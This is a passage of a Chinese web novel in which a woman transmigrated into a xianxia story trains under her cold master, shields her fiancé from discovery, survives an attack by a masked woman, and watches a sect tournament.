《完蛋!我竟是师父的白月光》
6. 姑奶奶陪你好好玩
隔日卯时,岳悦理了理被风吹乱的发髻,深吸一口气便朝着主殿的方向大步走去。
主殿的门虚掩着,从门缝里透出来透出一缕光亮,在青石板上投下一道光影。
岳悦走到门前,手刚触到冰冷的木门,又猛地缩了回来。
她想起书中的陌九临平日里眉宇带着化不开的寒霜,以及对温命的要求严苛到近乎苛刻。她这个草包代替他的可能性几乎为零。
可为了找到神秘人,她必须一试。
岳悦抬手,轻轻叩了叩木门。
“师父,徒儿来问安了。”
殿内没有回应,只有隐约的笔墨挥洒之声传来。
岳悦又叩了叩门,声音比刚才大了些:“师父,我来了!”
笔墨声停了下来,片刻后,传来陌九临清冷的声音:“进来。”
岳悦推门而入。
殿内檀香袅袅,陌九临正坐在书案前,手持狼毫,面前铺着一张宣纸,上面写着刚劲有力的大字。
他抬眸看了岳悦一眼,目光如寒星,让岳悦忍不住打了个寒颤。
“师父。”
岳悦恭恭敬敬地行了个礼,垂首站在书案前,不敢抬头看他。
陌九临放下狼毫,拿起宣纸,仔细地看了起来。
“昨日功法练得还算认真,下次引以为戒。”
“是。”
岳悦攥紧拳头,心一横,闭着眼睛全盘托出:“师父,弟子想代表陌云观参加三境大会。”
陌九临拿着宣纸的手顿了顿,抬眸看向她,眉头微蹙。
“不可。”
“为何?”
她抬起头,坚定地看向陌九临。
陌九临冷哼一声,将宣纸扔在书案上:“你可知你灵力外泄会给三境惹来多大的灾祸?”
岳悦心中一紧,连忙道:“那师父用濯灵印封住就好了。”
“濯灵印”三字一出,陌九临的神情明显变了。岳悦这才意识到自己闯了大祸,濯灵印是封印罪仙神元之法,一旦被封内力与凡人无异。
岳扶商的濯灵印也是在神秘人出现后,陌九临为了控制她逃跑才封的。
“你怎会知晓濯灵印?”陌九临的声音陡然提高,“你到底是谁?”
“我…”岳悦的声音带着一丝哽咽,“我是岳扶商。”
她的话越发没有底气。陌九临看着她,目光复杂。
殿内陷入了沉默,只有烟气在空气中弥漫。岳悦垂首站在那里,手心微微发汗。
过了许久,陌九临才缓缓开口:“你还知道些什么?”
“弟子…应该知道什么?”
陌九临眼神中带着杀气,让岳悦瞬间软下来。
她连忙跪下身,朝着陌九临磕了一个头:“弟子知错,还请师父责罚。”
陌九临摆了摆手:“七日之后,陌云观弟子会由比试决出三境大会的人选。你不是正式弟子不可代替陌云观出战,若是你执意要去…”
岳悦站起身,抢在他前面说道:“徒儿要去!”
陌九临沉吟片刻。
“好,那你需答应为师几个条件。”
岳悦认真地听着。
“第一,不许离开为师身边半步。第二,不许催动灵力。第三…”
“第三什么?”
陌九临些许惭愧地说道:“不许露出真容。”
“啊?”
岳悦碰着自己的脸,“我长得很丢人吗?”
陌九临不曾理会,从书案下拿出一个锦盒,递给岳悦,“这是凝神丹,若身体有异,及时服用便好。”
岳悦接过锦盒,应声回复:“谢师父。”
“去炉边候着。”
陌九临重新拿起笔,“记住,不该说的,不说;不该问的,不问。”
“是,师父。”
岳悦恭恭敬敬地行了个礼,转身朝着一旁走去。
她忍不住回头看了一眼,陌九临依旧坐在书案前,在宣纸上挥洒着。晨光照在他的身上,给他镀上了一层金色的光晕,让他看起来不再那么清冷。
岳悦卧膝坐在炉边,闭上眼睛,静心凝神。她能感受到湖底传来的阵阵灵力波动,那灵力狂暴无比,像是一头沉睡的巨兽,随时都可能醒来。
她按照陌九临教的方法,尝试与灵力建立联系。
时间流逝,日光照在潭池上,波光粼粼。岳悦额角布满了汗珠。
她能感受到灵力正在一点点地向她靠近,可每当她想要抓住它时,它又会猛地退回去。
岳悦没有放弃,她依旧耐心地尝试着。
稍一稳定,她便开始尝试将灵力注入遂愿中。若要使二者融合,并非易事。
岳悦手持遂愿,尝试着将灵力引入遂愿。可每当灵力靠近遂愿时,便会被遂愿弹开。结果总是失败告终。
三天下来,岳悦依旧没有成功。她感到有些沮丧,甚至开始怀疑自己是否真的能做到。
她又一次尝试失败后,将遂愿扔在地上。
“破东西!”
岳悦抬起头望着四处封闭的围墙:“尝试了这么多次,还是没有成功。不应该啊!”
如果没记错,岳扶商的神元是鸿蒙福沼,这遂愿怎么说也是上古灵器。二者理应契合才对,怎会适得其反?
岳悦长叹一口气,如今只有陌九临的凝神丹能暂时压制住。
三境大会上陌九临不许她催动灵力,即使找出神秘人,岳悦也只能眼睁睁看着他中计,一点办法都没有。
“不行!”
她伸手将遂愿捡起来,指尖拂去上面的尘土,一股寒凉透过指尖传来,让她烦躁的心绪稍稍平复。
“既然那个人出现后,陌九临才对岳扶商施了濯灵印…”
联想陌九临今日的种种,岳悦茅塞顿开。
“陌九临不允许我催动灵力,又不允许我露面…所以那神秘人图的应该是岳扶商体内的鸿蒙福沼。”
这个揣测不无道理,可按照原文设定,剧情进展到这除了陌九临没人知道这岳扶商的神元就是鸿蒙福沼。
如果想要知道那个人究竟是谁,岳悦必须走一步险棋。她缓缓站起身,俯身望着水中自己的倒影。
倒影中的少女面色憔悴,眼下布满浓重的青黑,额角的汗珠顺着脸颊滑落,滴入潭池中,漾开一圈细微的涟漪。
她苦笑一声,随即把凝神丹全部倒入潭池之中。
“想玩?那姑奶
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奶就陪你好好玩一玩。”
眼看着凝神丹落入潭池,她若无其事地回到前殿。
殿内一众弟子都为了三境大会日夜操练。和他们相比,岳悦倒是清闲。
这古人的经书她一个字都看不懂,只好学着师兄们的样子滥竽充数。
没过半刻就被陌九临逮个正着。
“你若无心攻学,便把殿前的落叶扫扫。”
岳悦缓缓抬起头,察觉到他眼中闪过一丝厉色。
“师父,弟子并非无心攻学,只是……”
“只是什么?”
岳悦攥紧经书,话到嘴边却又咽了回去。
“没什么…”
她总不能说,她满心都在盘算如何在三境大会上揪出神秘人,根本无法静下心来与师兄弟们一同操练。
更不能说,自己来陌云观是为了掌控灵力,不是来修仙的。
陌九临似是看穿了她的心思,袖袍一拂,转身向殿前走去:“无需多言,扫完落叶,到我书房前跪着。”
他的声音冷淡不带一丝波澜,却让岳悦心头一紧。
岳悦无奈地放下经书,拿起墙角的扫帚,慢悠悠地走到殿前。
落叶纷纷扬扬地落下,积了厚厚的一层。她扫得漫不经心,脑海中却一遍遍回放《月陌扶云时》之后的剧情。
岳扶商被施了濯灵印之后,日夜跟在陌九临身边。浑然不知陌九临透过她看着自己的白月光,还傻呵呵的对这种囚禁甘之如饴。
想想后面对岳扶商强行降智的剧情,岳悦就忍不住打了个冷颤。
“让老娘当这种恋爱脑人设,下辈子吧!”
不知过了多久,岳悦终于将殿前的落叶扫成了一堆。
她直起腰,捶着酸痛的后背,正欲转身前往书房,却见陌九临和温命不知何时站在她身后,正静静地望着她。
岳悦走上前,躬身行礼:“师父,温师兄。弟子扫完了,您可还满意?”
陌九临点了点头。
“还算听话。”
岳悦很是意外,没想到这种软绵绵的话是从陌九临嘴里说出来的。
“我让膳房给你留了饭,有你最爱的苏子糕。”
她抬头望向陌九临,眼中满是疑惑与惊喜。
“师父怎知…”
陌九临似是看出了她的心思,轻叹了一口气:“在你来陌云观之前,为师向天后打听过。怕陌云观的饭不合你胃口,没力气修炼再怪在为师头上。”
他顿了顿,继续说道:“还不快去?”
岳悦心中一热,扔下扫帚撒腿就跑。
“弟子知道了,多谢师父。”
岳悦的身影很快消失殿前,裙摆扫过阶前野草,带起一阵细碎的风。
陌九临缓步走到那堆落叶旁,垂眸望着地上被扔得横七竖八的扫帚,无奈地摇了摇头。
他抬手轻挥,一道淡青色的灵力卷过,扫帚便自动归位到墙角。
“当真是个孩子。”
身后的温命却对此不解。
“师父为何不告诉岳师妹,这糕点是您亲手…”
陌九临头也未回,忍不住望向岳悦消失的方向,声音淡了几分:“她吃得欢喜便好。”
7. 不归鹤助岳悦出逃陌云观
膳房里还亮着昏黄的烛光。岳悦推门进去时,蒸笼正冒着白汽,空气里弥漫着苏子特有的清香。
她揭开最上层,七八块白糯糕点整齐排列。她拈起一块,温热的触感透过指尖传来。
咬下一口,糯米从舌尖化开,却又隐隐有些不同。这苏子糕里还掺了些许桂花蜜的香气。
“奇怪。”
岳悦喃喃自语。
“还当真是岳扶商的身体,和她的口味变得一模一样。没成想这冷王八书里写得对岳扶商冷若冰霜,这时候还会亲手给她做糕点。”
想到这,岳悦将这个荒谬的想法甩出脑海。
“岳悦你清醒点儿,两块苏子糕就被收买了?他最后可是要杀你的!”
她三两下吃完,又把剩下的用手帕包好,准备带回房里。
夜色已深,苍树在月光下投出长长的影子。廊檐下的风铃偶尔发出声响,在一片寂静中格外分明。
岳悦沿着来时的路往回走,经过后殿时,脚步不自觉地顿住了。
她鬼使神差地靠近,透过门缝向内望去。
见陌九临独自坐在殿中,面前摆着一盘残局。他执着一枚黑子,悬在棋盘上空许久,最终轻轻落下。
光影勾勒出他侧脸的轮廓,他微微垂着眼,神情专注。
岳悦看得有些入神。
这和她认为书里的陌九临不太一样了。
原文里的他,对着岳扶商那张与白月光相似的脸,只有入骨的冰冷,未见半分怜惜。
可眼前的陌九临……对她何其纵容。
“谁在外面?”
那令人闻风丧胆的声音突然响起,岳悦吓了一跳,慌忙后退一步,却不小心踩到了自己的裙摆。
“哎我擦!”
她踉跄着扶住门框,殿门“吱呀”一声被她推开。
陌九临已转过身来,见到是她。
“这么晚了,怎么还不回房?”
“弟子……正要回。”
岳悦站直身子,有些窘迫。
“我看师父自己同自己博弈,还真是少见。”
“你若无事,就该攻克心法,减少灵力反噬。而不是关注我。”
陌九临的目光落在她脸上,停顿片刻。
“苏子糕可还合口味?”
“啊?”
话锋转变太快,刚才的训斥一晃烟消云散。
岳悦随即又补充道,“多谢师父关心,苏子糕很合口味。”
陌九临点了点头。
“去吧,明日依旧卯时问安。”
岳悦行了一礼,转身离开。
陌九临依然保持着方才的姿势,在空旷的大殿里显得格外孤寂。
回到屋内,岳悦躺在床上辗转反侧。脑海中反复浮现陌九临独坐殿中的画面。
这一切远比她想得和谐。
原文里的陌九临,只会利用她,欺骗她。
在她完全把心给他的时候,活活刺她一刀。就算是想要岳扶商的神元,也不至于杀人还诛心。
但现在……
“难道是蝴蝶效应?”
岳悦坐起身,抱着膝盖思索。
她穿书后,确实没有按照原剧情走。没有对陌九临一见钟情,没有逃跑反抗,甚至还在不知情的情况下得到了法器。
或许正是因为她的改变,导致陌九临的行为也变了?
“这到底是好还是坏?”岳悦皱紧眉头。
窗外忽然传来的“簌簌”声响,打断了她的思绪。她警觉地转头,硕大的人脸在她窗外缓缓浮现。
岳悦蹲在床下,冲外面大喊道:“妖魔鬼怪快走开!要不我放遂愿了!”
见外面没了声响,她蹑手蹑脚地走到窗边,向窗外探出头。
“我在这边!”
岳悦循声回头,只见身后的不归鹤一身青衣,眨着琥珀色的眼睛正凝视着她。
见是熟人,岳悦才放下心,低声试探着问。
“你怎么来了?”
不归鹤开门见山,声音压得很低:“陌云观待不惯吧,快跟我回去!”
岳悦一怔:“你让我跟你跑啊?”
“再不走来不及了。”
不归鹤语气急切,“我是破了陌云观结界的,但只能挺一个时辰。出去之后,你先去白鹤族躲躲,等风头过了,你再和娘娘认个错这事就翻篇了。”
“你还破结界…你不找死吗?”岳悦心头一紧。
闻言,不归鹤似乎有些意外。
“扶商,你从前最不喜入陌云观,怎的现在我助你出逃,你还在瞻前顾后。”
岳悦想起原文里岳扶商和不归鹤出逃被发现后,不仅自己被罚五日断膳,不归鹤回到天宫更是被天后严厉训斥要了半条命。
“你快走吧!”岳悦继续说,“再不走我们都得遭殃。”
“扶商,你…”
岳悦推搡着不归鹤。
“不归君,我来不及解释那么多。等会儿陌九临就来了,你赶紧跑吧!”
不归鹤被岳扶商推进后院,确认没有人看见后,悄悄关上门,等陌九临巡查之后再送他出去。
庭院里静悄悄的,只有风拂过树叶的声响。岳悦心里提着一口气,按照原剧情,陌九临还有三秒到达战场。
“岳悦,做好准备!”
她屏住呼吸,慢慢推开门,盯着前殿的动静。
“三、二、一…”
果然,陌九临的脚步声愈发逼近。
“开门。”
二字一出,岳悦的血液仿佛瞬间凝固了。短短二字,足够威慑到心虚的她了。
“师父,徒儿已经睡下了。”
“陌云观的结界被破了,这么晚,你灵力又不高,本君是怕你出事。”
他的语气让岳悦感到一阵寒意。
岳悦勉强稳住声音,应付一句:“弟子……没事,师父您多虑了。我可以保护自己。”
陌九临正欲离开却又想起什么,停在离她门口三步远的地方。
“你可有见到什么人?”
岳悦垂下眼:“没有!我就自己一个人。”
沉默在殿中蔓延。
许久,陌九临轻轻叹了口气:“那你自己把房门锁好。”
见陌九临走远,岳悦猛地拍着胸口。
“说得冠冕堂皇,还不是怕我跑。”
岳悦转头想起刚被自己强行关在门外的不归鹤也没了声响,便在半柱香后小心翼翼地挪动到后院。
见不归鹤在此盘膝打坐,她没有大声惊扰。
“不归鹤?”她压低声音呼唤。
“他走了?”
“暂时走了,但不知会不会再返回来。”
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岳悦拉着他往更隐蔽的角落退去。
“等天再黑些,我找机会把你送出去。”
不归鹤眉头紧锁:“那你怎么办?”
“我留在这,他们不会把我怎样的。来日方长,我有的是机会明正言顺的出去。”
岳悦打断他。
“倒是你,下次不许冒险了。”
不归鹤面色苍白,他抿了抿唇,欲言又止。
“可是扶商……”
“没有可是!”
岳悦罕见地严厉起来,“你若真为我好,就该保全你自己。你想想,若你现在带我跑了,被抓回去会是什么下场?我受罚事小,你被天后重罚事大。到那时,还有谁能帮我?”
不归鹤被她问住了。他望着面前的故人,眼中闪过一丝陌生。
似乎有什么地方不一样了。从前的岳扶商骄纵任性,从不会这般冷静分析利弊,更不会考虑他人的安危。
“自打离开碧海天宫,你有些不同。”他轻声说。
岳悦面不改色地敷衍道:“我总不能一直做被你和天后保护的小公主了吧。”
不归鹤的神情有些凝重和试探,岳悦连忙扯开话题。
“等下,我催动灵力。我灵力失控,陌九临一定会来顾我的。到时候你趁乱逃出去。”
权宜之际,后院的槐树下,不知何时多了一道身影。
陌九临负手而立,月光将他影子拉得很长。他没有看岳悦,只冷冷地盯着不归鹤。
岳悦瞥见他,霎那间乱了心神。
“师父……”她声音干涩。
话音刚落,陌九临转而将目光投在她脸上,有种说不出的情绪。
“今日我陌云观似乎有客人?是本君招待不周了。”
不归鹤上前一步。
“见过陌神君。”
岳悦此刻的心脏狂跳起来。他看到了多少?听到了多少?他不会要处决不归鹤吧?
“不…不归君,来看看我。”她强迫自己保持镇定,又补充着:“他马上就走了,不会打扰师兄们的。”
陌九临没有说话,只是静静地看着她。那目光阴鸷得可怕,仿佛能戳穿她所有小伎俩。
许久,他忽然笑了。那是岳悦第一次见他笑,笑得岳悦背后发凉。
“看来天后娘娘是不放心公主在这。”
不归鹤见形势有异,便与岳悦一唱一和。
“此事是鹤某一人主张,天后娘娘并不知情。是我太过思念扶商,所以才出此下策。”
陌九临猛然抬眸,目光如炬,指尖磨合时又压下泛起的一切波澜。
他勾起嘴角,语气十分有九分的不屑和嘲讽。
“既是公主的未婚夫婿,前来探望也合乎情理。”
口中虽说着“未婚夫婿”,语气和神态当真是一点都不曾将这个未婚夫婿放在眼里。
他转身向阶前走去,冷冷留下一句话。
“下次来访,打声招呼便可。陌云观的结界,有损灵脉。”
岳悦被吓得说不出话,直到陌九临的背影消失在殿门后,她才惊觉掌心早已渗出汗来。
她心下一沉,转头望向虚弱至极的不归鹤。
“你…”
不归鹤抬手拭去嘴角的血迹。
“无妨,等我回碧海天宫,疗养几日就好。”
8. 月陌山奇遇
送走不归鹤后,岳悦在庭院中站了许久。夜风渐凉,她抱紧双臂,心头却比这夜风更冷。
陌九临最后那句话,带着说不清的嘲讽。显然看不起不归鹤,可他又看得起谁呢?目中无人本就是他的人设之一,这是早就被设定好的。
次日晨修,岳悦明显心不在焉。昨夜攻破结界一事闹得沸沸扬扬,众弟子七嘴八舌得在岳悦耳边不停议论着。
她充耳不闻,依旧照常与温命一同温习功法。可手中的剑屡屡出错,当她又一个回身动作,险些撞到身旁师兄时,温命皱起了眉。
“岳师妹,你今日可有不适?”
岳悦连忙解释:“我没事温师兄,昨夜我没睡好。”
温命担忧地看向她,没再多言。
“休息片刻吧,昨夜确实发生了意外。不过,岳师妹别怕。对付那种不入流的妖兽是常事,你刚来可能还不太习惯。”
岳悦听了温命的话退到一旁,她心中涌起一阵莫名失落。
今日卯时,后殿主院的门没开。
岳悦足足等了一个时辰,连个动静都没有。直到师兄们都洗整完毕,岳悦才同他们一起到潭池边。
“陌九临不会因为昨晚的事,生气了吧?”
岳悦一怔:“这才在老虎旁边蹦哒几天啊,这么快就给自己作没了。”
她随即拉来一旁的温命。
“温师兄,今日怎么不见师父啊?”
“许是昨个夜里修补结界伤了神元,正闭关呢。”
岳悦心头莫名感到惭愧,一股说道不明的委屈涌上心头。
“修补结界,会损耗神元?陌云观的结界有这么高深?”
“这你就有所不知了,这结界是师父用上古神器玄天圣心所筑。凡催动神器者必遭反噬。”
岳悦僵在一旁,手指无意识地攥紧剑柄。
“原来如此,那…那我能做些什么?我给师父烧菜,或者煎药也可以。”
温命摇摇头。
“寻常草药对师父这种道行的神君是无用的。况且,我也很少见过师父受伤。”
温命转念一想,把头埋在岳悦耳边。
“你若是真想做点什么,我此前听闻月陌山脚下生长着一种仙草叫‘回灵藤’。听说吃一次可抵百年修为,就是可遇之而不可求。”
岳悦咬了咬唇,心中生出一个念头。
“就算是要我半条命,我也得求来。”
她回房换了身便于行动的劲装,便悄悄出发了。
下山之路漫漫,迷雾浓重,岳悦才意识到她高估了自己。她只能凭借手中的法器摸索着前行。
走了大约一个时辰,迷雾终于渐散,眼前豁然开朗。
岳悦心中一喜,快步走到林中。
“回灵藤长什么样?”
岳悦凭着心法所学,第一次催动体内的灵力。
“这鸿蒙福沼润泽万物,回灵藤应该会有所共鸣吧。”
她屏气凝神,霎那间万束金光迸发。掌心不由自主地在胸前合十,灵力自丹田奔涌而出,将她层层环绕。
“循我命法,道我万灵。现形!”
灵力如涟漪般扩散,林中景象悄然变幻。草木枝叶被短暂的唤醒,渐渐浮现出淡淡的绿色脉络。
但这都不是岳悦要找的。
她不断动用灵力,额角渗出细汗,岳扶商的肉身快撑不住了。
岳悦目光焦急地扫过每一寸土地。
“到底在哪啊?”
岳悦的灵力不断灌注,那些绿晕逐渐明显。只见一条顶着细小花苞的藤蔓,直奔她而来。
岳悦心头一松,灵力也随之散去大半。那藤蔓看似与普通枯藤无异,可强大的灵波让岳悦认定那就是她要找的。
找到了!回灵藤!
她不敢怠慢,连忙上前,小心翼翼地将回灵藤采下,收入早已备好的匣中。她轻轻盖上匣盖,长舒一口气。
正当她准备起身离开时,面前浮现出一个身影。那人身着黑色斗篷,看不清脸。
那不寻常的气场令岳悦有所畏惧,她脊背一僵,不知该如何是好。
“我终于见到你了,岳扶商。”
这是一个女人的声音,熟悉中掺杂着陌生。
岳悦下意识后退一步。
“你…你是谁?”
“我是谁不重要,你只需要知道我是来取你性命的。”
话音刚落,那人忽然抬手一挥。一道无形气劲袭向岳悦。岳悦侧身躲避,那人气脉沉稳,下手狠辣,招招直取要害。
更让她心惊的是,那人能操控好像她灵脉一般,她越是靠近,越是施展不出灵力。
“你到底是谁,我与你无冤无仇,为何对我痛下杀手!”岳悦厉声问道。
那女子笑了笑,那嘴角在岳悦眼中变得诡异起来。
“因为…只有你死,我才能活!”
岳悦心头一寒,手中药匣微滞。就在这刹那,那女子抓住破绽,一剑刺向她肩头!
岳悦闷哼一声,连退数步,肩头衣衫已被染红。
“就算要死,也让我死个明白!”岳悦咬牙道。
那女子一抹阴鸷的笑容,越发猖狂。
“我想告诉你。”
她缓缓抽出剑。
“可惜,太晚了。你没命知道了。”
话音落下,她的剑快如闪电,岳悦本就无法长时间掌控灵力,如今更是难以招架。
她咬紧牙关,拼死抵抗,心中却是一片坦然。
这么快就浪费了一次机会。
岳悦闭上眼,心中闪过最后一丝不甘。她连杀自己的是谁都没弄清就这么不明不白的死了。她还真是穿书里最失败的。
就在剑光即将触及衣衫的瞬间,空气陡然凝固。遂愿从她身侧闯出,弓弦震颤如龙吟般长啸,用自身庞大的灵气挡在她身前,将她死死护住。
那女子被其震慑整个人飞出去,重重撞在竹子上。
岳悦怔怔睁开眼,看见遂愿自行飞出,悬浮在她身前。弓身霞光流转,后又飞回她掌心安抚她惊魂未定的心。
那女子挣扎着爬起,看着岳悦手中的遂愿。
眼中满是惊骇:“想不到,她竟将遂愿也给了你……”
岳悦握紧遂愿,一步步走向他:“他?你认识我师父?”
那女子惨笑:“扶商公主,好好享受你生来就拥有的一切。”
这话意有威胁,有嫉妒,还有几分来日方长。岳悦愣住了,剧情由已知转而成未知
“难不成那女的是
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神秘人?她在三境大会前出现了?”她声音颤抖。
她不禁怀疑自己所做出的选择会使剧情快速发展,产生不可预料的结果。
可她本质上还是岳悦,与书里的岳扶商性格大不相同。况且她的任务是活到大结局,按照书中剧情走,她还不是死路一条。
系统又没说一定要做出与原著一致的选择和路线。苟,才是最重要的。
岳悦拿起被打落的药匣,忽而只觉肩膀一沉,一瞬间失去意识晕倒在山林中。
再醒来时,她已经出现在自己的寝殿中。她的头剧烈撕痛,浑身酸软无比。她强撑着身体坐起来,轻叹一声。
“还好,没死。”
“你擅自下山,可经过为师的同意了?”
闻声,岳悦猛然回头。一道白色身影缓步走出,正端着汤药碗站在门边,表情凝重得可怕。
岳悦强挤出一抹笑,试图化解这凝固的气氛。
“师父,我和您讲我今天可厉害了。我一个人就把那神秘人给打得满地找牙。还有还有遂愿认我了哎。”
陌九临一声冷喝:“若不是遂愿,怕是你早就尸骨无存。”
他冰冷的眸光径直落在岳悦身上,倒不像是开玩笑。岳悦瞬间也变得严肃。
“师父要罚就罚吧。反正人家是为了给您补身体,才擅自下山去找回灵藤。谁能想到半路遇上歹人,差点儿就见不到师父了。”岳悦的声音变了调。
岳悦暗自得意,小样儿的,见到这个替身白月光对你撒娇,就算是万年冰山,也得融化一角吧。
陌九临不再理她,将汤药碗放在一旁。他他坐在床边,伸手轻轻抚在她受伤的肩头。
“还疼吗?”他问。
岳悦摇摇头,哭腔被立即收回。
“有师父在,早就不疼了。”
陌九临沉默地注视她许久,叹了口气。
“笨。”
他将药碗递给岳悦。
“这遂愿是月族的灵器,与月族人血脉共鸣。想必它应是感知到你有危险,所以替你挡下了。”
“这算是认我做主人了?”
陌九临看着她的眼睛,语气中生出一些不易察觉的温柔。
“不算。”
“为何?”
陌九临打断她。
“遂愿并不属于谁,它会保护每一个月族人。如今月族覆灭,你作为唯一的后人,它自然会保护你。”
岳悦若有所思,试探地问着:“它就像…月禾神君庇护三境那样,庇护月族?”
陌九临凝视着她,顿了顿又补充一句:“遂愿既能感知你,日后你便可以时刻召唤它。”
岳悦见陌九临对月禾避之不谈,也识趣地没有再问下去。
“为师神元无碍,回灵藤就种在潭池边以备不时之需。”
陌九临脚步一顿,说完这句话就没再回头。
岳悦握着尚有余温的药碗,心中百感交集。接下来会发生什么,岳悦也不知道。
今日的种种,太过离奇。脱离对剧情的掌控,近乎走向未知。那个神秘人看样子对岳扶商很是熟悉,她到底是谁?又为何揪着岳扶商不放?
岳悦在心里刻下一个大大的问号,她呼吸微滞,或许一切都要由她自己来解答。
9. 陌云观比武
转眼间,陌云观弟子大比之日到了。岳扶商站在潭池边的青石阶上,望着场中翻飞的人影和交织的灵力。
半月已过,她如今能勉强控制体内那股狂暴灵力不至于外泄。而且…她活得比书里的岳扶商要好那么一点点。
只是自从受伤后,她反复做着同一个梦。梦里那蒙面人揭开面纱,玄纱之下,那人的脸竟与她生得一模一样。
每每这时她都会从梦中惊醒,望着伸手不见五指的窗外,她告诉自己这一切不是真的。
温命见她神游,便轻拍一下她的肩头。
“扶商师妹,发什么呆呢?”
岳扶商苦笑道:“我在想,今日谁会赢?”
“只要能替陌云观争光,谁去不一样。”
“当然不一样,我就希望温师兄能大获全胜。”
岳悦自然知晓温命就是这场比试的魁首,然而这等天机怎可外泄?对于这场明知结局还要假装期待的戏,岳悦根本提不起兴趣,只想把剧情快速过掉。
“各弟子就位。”
朱台上传来宣寿长老浑厚的声音。
比武场上空,被磅礴的灵力笼罩。除岳悦外,众弟子抽取竹签选择对手,各个蓄势待发。
“按照原著所写,温师兄对的应该是栖梧。”岳悦喃喃自语。
“温师兄,小心些。”
岳悦担忧道。
栖梧出手一向很重,无论是功法还是心法,都与温命不相上下。书里,温命赢得并不轻松。
“多谢岳师妹。”
岳扶商微微一笑,她知道温命不会认输。
朱台之上,陌九临一袭雪白长袍,端坐于主位。他身姿挺拔如松,目光平静地扫过演武场的每一个角落,最终在一处停留。
安静的青石阶角,岳悦全神贯注地望着比武台。雪白的衣裙,简单的发髻,眉如远黛,杏眼潋滟,朱唇轻轻勾起。晨光落在她侧脸,描摹出与月禾八九分相似的轮廓。
沉稳专注的她,令陌九临有些恍惚。他端起手边的茶盏,指尖轻轻摩挲。茶水澄澈,映出他深不见底的眼眸。
“九临,你觉得这次谁能拔得头筹?”
面对宣老的询问,陌九临没有立刻回答,目光重新落回演武场。
此时比试已经开始,剑气纵横,术法碰撞,引得围观弟子阵阵惊呼。
“宣老看中的人不会错。”他语气漠然,似乎不太关心。
“老夫年岁大了,温命这孩子悟性高,人和善。等他在你这突破修为,老夫可是要让他回去继承老夫的衣钵的。”
“若温命愿意,晚辈绝不阻拦。”陌九临的视线再次飘向青石阶的方向,岳悦此刻的神情深深吸引着他。
宣老顺着他的目光看去,眉头微皱:“这姑娘老夫越看越觉得熟悉,怕不是故人?”
“宣老慧眼如炬,不妨好好瞧瞧。”
陌九临的声音很轻,轻到只有他们二人能听见。
“留给她的时间不多了。”
宣老面上的笑容淡去,仿佛认出了面前之人。眼中浮现忧虑:“那边可有动静了?”
“几天前,她外出下山,意外被魔气所伤。那魔气与她的灵力如出一辙。”
陌九临放下茶盏,语气凝重,比起三境大会,他更担心岳扶商的安危。
“看样子她感应到了。她一定不会善罢甘休。”
宣老沉默良久,最终长叹一声:“想不到你竟将她留在身边,你可有想过你自己?”
陌九临的手微微一顿。
“她如今无法与之抗衡,若想保全只能另辟蹊径。”
比武台上如火如荼,三试的钟声终于敲响。
岳悦深吸一口气:“温师兄挺住!”
“比试开始!”宣老一声令下。
栖梧没有丝毫犹豫,双手迅速结印,地面顿时震动起来。数道剑刺从温命脚下猛地窜出!
好在温命早有准备,脚尖轻点,身形如燕向后飘退。但栖梧的功法如影随形,几乎封死了他所有退路。
“大师兄,光会躲可不行。”
栖梧嘲讽道,手中印诀再变。
“破!”
观战弟子一片惊叹。岳悦更是捂住了嘴
高台上,宣老皱眉:“一上来就用杀招?栖梧这孩子…”
陌九临没有说话,只是盯着台上的温命。他在流沙中挣扎,但眼神却异常冷静,甚至…在计算着什么。
就在将刺中温命的瞬间,温命忽然放弃了挣扎,反而双手一合以神元为盾。
栖梧脸色大变,急忙后退,将铁剑挡在身前也未能敌过。
温命点到为止,他脸色有些苍白,但眼神亮得惊人。
“你…”
栖梧撤去剑术,神情复杂地看着他。
“刚才那是什么术法?”
“不是什么术法。”
温命擦了擦额角的汗,露出一个有些虚弱的笑容。
“在入陌云观第一天,师父就曾教导过心境强大,则万物开明。”
此话一出,却让栖梧脸色更难看了。
“师弟,还要继续吗?”
温命笑问着,可其实他已经快到极限了。刚才那一下看似轻松,实则汇聚神元哪那么容易。他不过是想赌一把,赌栖梧会就此收手。
栖梧盯着他最终缓缓收起灵力,抱拳:“我认输。”
“第三试,温命胜!”
宣老高声道,语气里也带着欣慰。
岳悦也跟着松了口气。
温命走下比武台时脚步有些虚浮,岳悦赶紧迎上来扶住他:“师兄你没事吧?刚才吓死我了!”
“没事,就是有点累。”
温命靠在岳悦肩上,额间冷汗未消,唇边却仍挂着淡淡笑意:“别担心,我休息片刻便好。”
“你像是没事的样子吗?我带你去找师父。”
温命虽不情愿麻烦陌九临,可奈何自己早已经无力挣扎,只好跟着岳扶商往朱台走。
朱台上,陌九临的目光始终未离岳悦。他注视着她的一举一动,心也跟着她既喜又悲。
“师父。”
温命强撑着身体示意,岳悦见其伤得不轻。
“师父,您快看看温师兄,这该如何是好?”
“无妨,他初次动用神元,身体有所消弱是正常的。”
他指尖一叩,一道极淡的灵流悄无声息地落下,正入温命后心。
温命
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身躯微微一震,只觉一股温润之力涤荡周身,几近枯竭的神元竟重新泛起暖意。
“多谢师父。”
温命被两名弟子带下去休息,陌九临略微向温命颔首示意,转而看向身侧的宣老。
“您老人家可还满意?”
“九临办事,老夫自然宽心。”
“心境强大,则万物开明……”岳悦低声重复,眼底掠过一丝晦明。
抬眸之际,只见陌九临和宣老正凝视着她。宣老的眼神总是笑眯眯的,此刻笑意更是让岳悦觉得热情得可怕。
岳悦连忙行礼。
“晚辈岳扶商,见过宣寿长老!”
“你…叫岳扶商,这名字可有什么来历啊?”宣老语气依旧和缓。
“扶危自有回天力,商旋百斗争星辉。”
岳悦记得书里写“扶商”在月族是游子的意思。岳悦觉得这个不好,便在看书时自己给岳扶商写了一句话。从始至终她认为岳扶商不应替代谁而活,也不应为谁而活。
还好,这句话用在这儿正合适。
“好!好名字!”
宣老精通丹道与医术,时常为弟子们调理身体,探查修炼状况也是常事。这个宣寿长老岳悦还是有所了解的。
“姑娘,老夫觉得与你有缘。不如老夫也送你一句话。”宣老的声音带着安抚人心的力量。
“宣老请讲。”
“万般有命,莫强留。”
岳悦眉心微蹙,以现代人的思维,她自然知晓这句话的含义。可用在岳扶商的身上,总觉得哪里怪怪的。
“嗯……”岳悦不自觉地轻哼一声。
宣老搭在她腕间的手指微微收紧,眼底掠过一抹沉重的忧色。示意过陌九临后,又迅速将那抹忧色隐藏。
他不动声色,指尖渡入一股精纯柔和的药灵之力。约莫一炷香后,宣老缓缓收手,额角已隐见薄汗。
“压制这东西,一次比一次耗心力。”
“一次…比一次?”岳悦有些茫然地摸了摸心口。
